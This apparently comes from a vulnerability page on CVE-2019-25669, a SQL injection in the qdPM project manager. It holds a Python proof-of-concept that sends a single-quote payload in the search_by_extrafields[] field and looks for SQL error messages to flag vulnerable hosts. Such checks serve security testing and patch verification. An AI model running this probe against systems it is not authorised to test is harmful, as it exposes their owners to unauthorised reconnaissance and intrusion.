CVE-2019-25669 qdPM SQL注入漏洞

import requests def check_sqli(url): """ Proof of Concept for CVE-2019-25669 Checks for SQL Injection via search_by_extrafields[] parameter. """ target_url = f"{url}/index.php/users" # Malicious payload to trigger SQL syntax error payload = { "search_by_extrafields[]": "'" } try: response = requests.post(target_url, data=payload, timeout=10) # Analyzing response for SQL error indicators if "SQL syntax" in response.text or "mysql_fetch" in response.text or "ORA-" in response.text: return "[+] Vulnerability Detected: SQL Error found in response." else: return "[-] Vulnerability not detected or target patched." except requests.RequestException as e: return f"[!] Connection error: {e}" if __name__ == "__main__": target = "http://localhost" # Replace with actual target print(check_sqli(target))